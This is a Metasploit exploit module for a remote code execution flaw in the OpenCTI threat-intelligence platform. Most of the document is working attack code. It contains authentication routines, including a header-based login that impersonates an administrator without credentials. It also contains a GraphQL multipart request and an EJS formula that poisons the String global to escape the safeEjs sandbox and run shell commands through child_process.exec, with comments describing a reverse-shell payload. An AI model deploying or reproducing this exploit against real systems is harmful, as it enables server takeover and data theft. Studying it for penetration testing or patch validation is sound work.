OpenCTI JSON Mapper safeEjs Sandbox Escape RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenCTI JSON Mapper safeEjs Sandbox Escape RCE',
        'Description' => %q{
          OpenCTI is an open source cyber threat intelligence platform built as a Node.js
          GraphQL application. Its data-mapping feature lets a user attach an EJS "formula"
          to a JSON mapper attribute, which the backend renders through a home-grown sandbox
          (safeEjs) that is intended to allow only arithmetic and property access over the
          mapped data.

          The sandbox verifier permits assignment to identifiers it merely allow-lists, such
          as the String global. Because the generated EJS runs in sloppy mode inside a
          `with(locals)` block, that assignment reaches the global object, and the sandbox's
          own runtime property guard then calls the now-attacker-controlled String() when it
          normalises property names. Poisoning String defeats the guard's constructor
          deny-list, and `({})['constructor']['constructor']` yields Function, giving
          arbitrary JavaScript execution in the OpenCTI API process. The formula is rendered
          synchronously in the main process rather than in the isolated worker used by the
          other render sites, so execution lands in the process that holds the platform's
          Elasticsearch, object-store and message-queue clients.

          The jsonMapperTest GraphQL mutation reaches this render path and requires only the
          CSVMAPPERS ("Manage data mappers") capability. The GraphQL endpoint is authenticated,
          so the module offers three ways to obtain a context that satisfies it. AUTH_MODE=password
          logs in with USERNAME and PASSWORD through the public `token` mutation and reuses the
          resulting opencti_session cookie, optionally completing 2FA with OTP_CODE. AUTH_MODE=token
          sends a pre-existing OpenCTI API token as a bearer credential. When a target has the
          header-based authentication strategy enabled without a proxy-source restriction,
          AUTH_MODE=header obtains a session for an arbitrary user (for example the platform
          administrator) with no credential at all.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ege Balci' # discovery and Metasploit module
        ],
        'References' => [
          ['GHSA', 'f56m-h35g-vfg5'],
          ['URL', 'https://github.com/OpenCTI-Platform/opencti']
        ],
        'DisclosureDate' => '2026-08-21',
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'FETCH_COMMAND' => 'wget',
          'RPORT' => 8080,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the OpenCTI application', '/']),
      OptEnum.new('AUTH_MODE', [true, 'How to obtain a privileged context', 'header', %w[password token header]]),
      OptString.new('USERNAME', [false, 'Email address of an OpenCTI account holding CSVMAPPERS or BYPASS', '[email protected]'],
                    conditions: %w[AUTH_MODE == password]),
      OptString.new('PASSWORD', [false, 'Password for USERNAME', ''],
                    conditions: %w[AUTH_MODE == password]),
      OptString.new('OTP_CODE', [false, 'Current 2FA code, when the account or platform enforces one', ''],
                    conditions: %w[AUTH_MODE == password]),
      OptString.new('API_TOKEN', [false, 'OpenCTI API token of a user holding CSVMAPPERS or BYPASS', ''],
                    conditions: %w[AUTH_MODE == token]),
      OptString.new('HEADER_NAME', [false, 'Trusted identity header for AUTH_MODE=header', 'X-Email'],
                    conditions: %w[AUTH_MODE == header]),
      OptString.new('HEADER_USER', [false, 'Identity to assert via the trusted header', '[email protected]'],
                    conditions: %w[AUTH_MODE == header])
    ])
  end

  # Version boundaries derived from the OpenCTI source history:
  #   - the JSON-mapper formula render path (safeRender in src/parser/json-mapper.ts)
  #     first shipped in 6.7.0
  #   - the safeEjs verifier that this escape defeats first shipped in 6.8.16
  # No fixed release is known at the time of writing, so the range is open-ended above the
  # later of the two lower bounds.
  VULNERABLE_SINCE = '6.8.16'.freeze

  def check
    # `about { version }` is behind @auth, so authenticate first when we can. A failure here is
    # not fatal to the check itself: fall back to the unauthenticated version fingerprint.
    context = begin
      establish_context
    rescue Msf::Exploit::Failed => e
      vprint_warning("Could not authenticate before the version query: #{e.message}")
      nil
    end

    check_via_version(context)
  end

  def check_via_version(context = nil)
    version = detect_version(context)
    return CheckCode::Unknown('Unable to determine the OpenCTI version') if version.nil?

    begin
      detected = Rex::Version.new(version)
    rescue ArgumentError
      return CheckCode::Detected("OpenCTI detected but version '#{version}' is unparseable")
    end

    if detected < Rex::Version.new(VULNERABLE_SINCE)
      return CheckCode::Safe("OpenCTI #{version} predates the vulnerable safeEjs verifier")
    end

    CheckCode::Appears("OpenCTI #{version} is within the vulnerable range (>= #{VULNERABLE_SINCE})")
  end

  def exploit
    context = establish_context
    fail_with(Failure::NoAccess, 'Could not obtain an authenticated context') unless context

    marker = Rex::Text.rand_text_alphanumeric(12)
    print_status('Submitting the JSON mapper formula that escapes the safeEjs sandbox')
    res = send_json_mapper_test(context, build_formula(payload.encoded, marker))

    unless res
      fail_with(Failure::Unreachable, 'No response to the jsonMapperTest mutation')
    end

    # A GraphQL error naming the missing capability is a clean, non-fatal signal for the operator.
    if graphql_error_codes(res).include?('FORBIDDEN_ACCESS') || res.body.to_s.include?('You are not allowed')
      fail_with(Failure::NoAccess, 'The authenticated context lacks the CSVMAPPERS capability')
    end

    if res.body.to_s.include?('VerifierIllegalAccessError')
      fail_with(Failure::NotVulnerable, 'The safeEjs verifier rejected the formula; the target is patched')
    end

    # The formula returns the marker, so the mapper echoes it back in the rendered object only
    # if the escape reached Function and the gadget ran.
    if res.body.to_s.include?(marker)
      print_good('The sandbox escape executed and dispatched the command payload in the API process')
    else
      message = graphql_error_message(res)
      fail_with(Failure::UnexpectedReply, "The formula did not render: #{message || 'no marker echoed'}")
    end
  end

  private

  # Returns a hash of headers that carry the chosen authentication, or nil on failure.
  # Memoised so that check and exploit share a single login.
  def establish_context
    return @auth_headers if @auth_headers

    @auth_headers = case datastore['AUTH_MODE']
                    when 'password'
                      obtain_password_session
                    when 'token'
                      api_token_headers
                    when 'header'
                      obtain_header_session
                    end
  end

  def api_token_headers
    if datastore['API_TOKEN'].to_s.empty?
      fail_with(Failure::BadConfig, 'AUTH_MODE=token requires API_TOKEN to be set')
    end

    print_status('Using API token authentication')
    { 'Authorization' => "Bearer #{datastore['API_TOKEN']}" }
  end

  # Logs in with a username and password through the public `token` mutation and returns the
  # resulting session cookie as a header hash, or nil when no session was issued.
  #
  # The mutation deliberately returns null rather than the account's API token, so the session
  # cookie set on the login response is the only usable credential.
  def obtain_password_session
    if datastore['USERNAME'].to_s.empty? || datastore['PASSWORD'].to_s.empty?
      fail_with(Failure::BadConfig, 'AUTH_MODE=password requires USERNAME and PASSWORD to be set')
    end

    print_status("Authenticating to the GraphQL endpoint as #{datastore['USERNAME']}")
    res = graphql_request(
      'mutation ($input: UserLoginInput!) { token(input: $input) }',
      { input: { email: datastore['USERNAME'], password: datastore['PASSWORD'] } }
    )
    fail_with(Failure::Unreachable, 'No response to the login mutation') unless res

    codes = graphql_error_codes(res)
    if codes.include?('AUTH_FAILURE')
      fail_with(Failure::NoAccess, "Login rejected: #{graphql_error_message(res) || 'bad login or password'}")
    end

    cookie = res.get_cookies
    if cookie.to_s.empty?
      fail_with(Failure::NoAccess, "Login returned no session cookie: #{graphql_error_message(res) || 'unknown reason'}")
    end

    # The session is created before this error is raised, so the cookie is still usable for the API.
    if codes.include?('PASSWORD_CHANGE_REQUIRED')
      print_warning('The account password is expired; the session is still valid for API calls')
    end

    headers = { 'Cookie' => cookie }
    headers = complete_otp(headers) unless datastore['OTP_CODE'].to_s.empty?
    verify_session(headers)
    headers
  end

  # Validates a pending session with a 2FA code via the otpLogin mutation.
  def complete_otp(headers)
    print_status('Submitting the 2FA code')
    res = graphql_request(
      'mutation ($input: UserOTPLoginInput!) { otpLogin(input: $input) }',
      { input: { code: datastore['OTP_CODE'] } },
      headers
    )
    fail_with(Failure::Unreachable, 'No response to the otpLogin mutation') unless res

    unless graphql_error_codes(res).empty?
      fail_with(Failure::NoAccess, "2FA validation failed: #{graphql_error_message(res)}")
    end

    print_good('2FA code accepted')
    # express-session keeps the same identifier, but honour a rolling refresh if one was sent.
    refreshed = res.get_cookies
    refreshed.to_s.empty? ? headers : { 'Cookie' => refreshed }
  end

  # Confirms the session is usable and reports the identity and capabilities it carries.
  def verify_session(headers)
    res = graphql_request('{ me { user_email capabilities { name } } }', nil, headers)
    return unless res

    codes = graphql_error_codes(res)
    if codes.include?('OTP_REQUIRED') || codes.include?('OTP_REQUIRED_ACTIVATION')
      fail_with(Failure::NoAccess, 'The account requires 2FA validation; set OTP_CODE to the current code')
    end

    doc = res.get_json_document
    me = doc.dig('data', 'me') if doc.is_a?(Hash)
    unless me
      print_warning("Could not read the session identity: #{graphql_error_message(res) || 'no data returned'}")
      return
    end

    capabilities = Array(me['capabilities']).map { |c| c['name'] }.compact
    print_good("Authenticated as #{me['user_email']}")
    if capabilities.include?('BYPASS') || capabilities.include?('CSVMAPPERS')
      vprint_status('The session holds a capability that satisfies the jsonMapperTest gate')
    else
      print_warning('The session does not appear to hold CSVMAPPERS or BYPASS; jsonMapperTest may be refused')
    end
  end

  # Drives the unauthenticated header-authentication strategy and returns a cookie header,
  # or nil if the strategy is not enabled on the target.
  def obtain_header_session
    print_status("Attempting header authentication as #{datastore['HEADER_USER']} via #{datastore['HEADER_NAME']}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'auth', 'headers'),
      'headers' => { datastore['HEADER_NAME'] => datastore['HEADER_USER'] }
    )
    return nil unless res

    cookie = res.get_cookies
    if cookie.to_s.empty?
      print_warning('No session cookie returned; the header authentication strategy may be disabled')
      return nil
    end

    print_good('Obtained a session via the header authentication strategy')
    { 'Cookie' => cookie }
  end

  # Issues a JSON GraphQL request and returns the response, or nil.
  def graphql_request(query, variables = nil, auth_headers = nil)
    body = { query: query }
    body[:variables] = variables if variables

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'graphql'),
      'ctype' => 'application/json',
      'headers' => (auth_headers || {}).merge('Apollo-Require-Preflight' => 'true'),
      'data' => body.to_json
    )
  end

  # The GraphQL error objects carried by a response, as an array.
  def graphql_errors(res)
    doc = res&.get_json_document
    return [] unless doc.is_a?(Hash)

    Array(doc['errors'])
  end

  # OpenCTI puts a stable identifier in extensions.code (AUTH_FAILURE, OTP_REQUIRED, ...).
  def graphql_error_codes(res)
    graphql_errors(res).filter_map { |e| e.dig('extensions', 'code') }
  end

  def graphql_error_message(res)
    graphql_errors(res).filter_map { |e| e['message'] }.first
  end

  # Sends the jsonMapperTest mutation as a GraphQL multipart-upload request, since the
  # mutation signature is jsonMapperTest(configuration: String!, file: Upload!).
  #
  # jsonMapperTest runs parseJsonMapper but not validateJsonMapper, so the configuration only
  # has to be structurally sufficient for json-mapper.ts to walk it:
  #   - target.path is mandatory. json-mapper.ts:422 hands it straight to JSONPath, which
  #     rejects an options object with no "path" property before any formula is rendered.
  #   - a complex attribute carries its formula under complex_path, not on the attribute
  #     itself (jsonMapper-types.ts:51-54, consumed at json-mapper.ts:221).
  #   - the attribute key must exist in the target entity's schema, or the mapper throws
  #     UnsupportedError at json-mapper.ts:451.
  # Domain-Name is the target because its only attribute, `value`, is a plain non-mandatory
  # string: the rendered formula survives formatValue() and the object still converts to STIX,
  # which is what lets the caller read the rendered value back out of the response.
  def send_json_mapper_test(auth_headers, formula)
    record_key = Rex::Text.rand_text_alpha(8)
    configuration = {
      name: Rex::Text.rand_text_alpha(6),
      variables: [],
      representations: [
        {
          id: Rex::Text.rand_text_alpha(8),
          type: 'entity',
          target: { entity_type: 'Domain-Name', path: '$' },
          attributes: [
            {
              key: 'value',
              mode: 'complex',
              complex_path: { variables: [], formula: formula }
            }
          ]
        }
      ]
    }

    query = 'mutation($configuration:String!,$file:Upload!)' \
            '{jsonMapperTest(configuration:$configuration,file:$file){objects}}'
    operations = {
      query: query,
      variables: { configuration: configuration.to_json, file: nil }
    }

    boundary = "----#{Rex::Text.rand_text_alphanumeric(24)}"
    body = "--#{boundary}\r\n"
    body << "Content-Disposition: form-data; name=\"operations\"\r\n\r\n#{operations.to_json}\r\n"
    body << "--#{boundary}\r\n"
    body << "Content-Disposition: form-data; name=\"map\"\r\n\r\n{\"0\":[\"variables.file\"]}\r\n"
    body << "--#{boundary}\r\n"
    body << "Content-Disposition: form-data; name=\"0\"; filename=\"#{Rex::Text.rand_text_alpha(6)}.json\"\r\n"
    # A single JSON object, so the `$` base path selects exactly one record and the formula
    # renders exactly once.
    body << "Content-Type: application/json\r\n\r\n{\"#{record_key}\":1}\r\n"
    body << "--#{boundary}--\r\n"

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'graphql'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'headers' => auth_headers.merge('Apollo-Require-Preflight' => 'true'),
      'data' => body
    )
  end

  # Builds the EJS formula that escapes the sandbox and executes a Unix command.
  #
  # The command travels as base64 and is decoded inside the gadget. The formula is interpolated
  # into `<?- ... ?>` at json-mapper.ts:110, so a raw payload containing `?>` would close the
  # EJS tag early and leave a template that does not compile; base64 contains no character that
  # is significant to either the EJS scanner or the surrounding JavaScript string literal.
  #
  # child_process.exec, not execSync: the payload is a long-lived reverse shell, and execSync
  # would block the OpenCTI API event loop for as long as the session survives.
  def build_formula(command, marker)
    gadget = "import('node:child_process').then(function(m){" \
             "m.exec(Buffer.from('#{Rex::Text.encode_base64(command)}','base64').toString())" \
             "});return '#{marker}'"
    sandbox_escape(gadget)
  end

  # Wraps a JavaScript body so that it executes outside the safeEjs sandbox.
  #
  # Assigning a fake String global defeats the sandbox's runtime property guard
  # (safeEjs.ts:117-123), which resolves the ambient String() to normalise property names;
  # ({})['constructor']['constructor'] then yields Function and the body runs unverified.
  #
  # Two details are easy to get wrong:
  #   - the comma expression must be parenthesised. EJS compiles `<?- a, b ?>` into
  #     `__append(a, b)`, where the comma is an argument separator rather than the comma
  #     operator, so `b` would be evaluated but never rendered - and the module would have no
  #     way to read the result back.
  #   - the body restores the genuine String from ''.constructor before doing anything else.
  #     Without that the poisoned global outlives the render, and every later String() call in
  #     the API process returns the decoy object.
  def sandbox_escape(body)
    poison = 'String = function (n) { return { startsWith: function () { return false }, ' \
             'toString: function () { return n } } }'
    "(#{poison}, ({})['constructor']['constructor'](\"globalThis.String=''.constructor;#{body}\")())"
  end

  # `about { version }` is behind @auth, so pass an authenticated context when one is available.
  def detect_version(auth_headers = nil)
    return @version if @version

    res = graphql_request('{ about { version } }', nil, auth_headers)
    return nil unless res

    if (m = res.body.to_s.match(/"version"\s*:\s*"([0-9][0-9A-Za-z.\-+]*)"/))
      @version = m[1]
      print_status("Reported OpenCTI version: #{@version}")
      return @version
    end

    # The about query requires authentication; fall back to the unauthenticated public schema hint.
    res = graphql_request('{ publicSettings { platform_enterprise_edition_license_validated } }')
    return nil unless res
    return nil unless res.body.to_s.include?('publicSettings') || res.body.to_s.include?('platform_enterprise_edition')

    print_status('OpenCTI GraphQL endpoint detected but the version is not exposed pre-authentication')
    nil
  end
end